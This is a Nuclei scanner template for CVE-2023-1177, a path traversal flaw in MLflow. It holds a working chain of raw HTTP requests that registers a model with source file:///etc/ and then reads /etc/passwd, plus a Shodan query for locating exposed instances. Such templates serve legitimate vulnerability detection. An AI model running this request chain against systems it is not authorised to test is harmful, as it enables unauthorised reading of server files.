nuclei-templates/cves/2023/CVE-2023-1177.yaml

61 lines
1.6 KiB
YAML

id: CVE-2023-1177
info:
name: mlflow > 2.2.1 - Local File Inclusion
author: iamnoooob,pdresearch
severity: critical
description: |
Path Traversal '\..\filename' in GitHub repository mlflow/mlflow prior to 2.2.1.
reference:
- https://huntr.dev/bounties/1fe8f21a-c438-4cba-9add-e8a5dab94e28/
- https://github.com/mlflow/mlflow/commit/7162a50c654792c21f3e4a160eb1a0e6a34f6e6e
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-1177
- https://huntr.dev/bounties/1fe8f21a-c438-4cba-9add-e8a5dab94e28
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2023-1177
cwe-id: CWE-29
metadata:
shodan-query: http.title:"mlflow"
verified: "true"
tags: mlflow,oss,lfi,huntr,cve,cve2023
requests:
- raw:
- |
POST /ajax-api/2.0/mlflow/registered-models/create HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json; charset=utf-8
{"name":"{{randstr}}"}
- |
POST /ajax-api/2.0/mlflow/model-versions/create HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json; charset=utf-8
{"name":"{{randstr}}","source":"file:///etc/"}
- |
GET /model-versions/get-artifact?path=passwd&name=AJAX-API&version={{version}} HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: regex
regex:
- "root:.*:0:0:"
- type: status
status:
- 200
extractors:
- type: regex
part: body
name: version
internal: true
group: 1
regex:
- '"version": "([0-9.]+)",'